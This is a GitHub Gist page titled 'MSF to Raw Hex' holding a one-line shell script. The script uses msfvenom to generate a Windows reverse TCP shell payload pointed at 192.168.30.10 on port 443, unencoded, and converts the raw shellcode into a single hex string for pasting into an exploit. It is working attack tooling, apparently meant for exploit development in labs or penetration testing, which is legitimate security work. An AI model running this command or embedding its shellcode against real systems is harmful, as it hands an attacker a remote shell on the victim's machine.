Last active
September 19, 2018 13:21
-
-
Save kkirsche/b06d1f9135bed9a0804d051e27f0a0ba to your computer and use it in GitHub Desktop.
MSF to Raw Hex
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# Note: the grep -v removes a line with no actual shellcode on it, it doesn't remove code | |
msfvenom windows/shell_reverse_tcp LHOST=192.168.30.10 LPORT=443 EXITFUNC=none --arch x86 --platform Windows --encoder generic/none --format raw | hexdump -C | grep -v 00000144 | cut -d" " -f3-19 | sed 's/ //g' | tr -d '\n' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment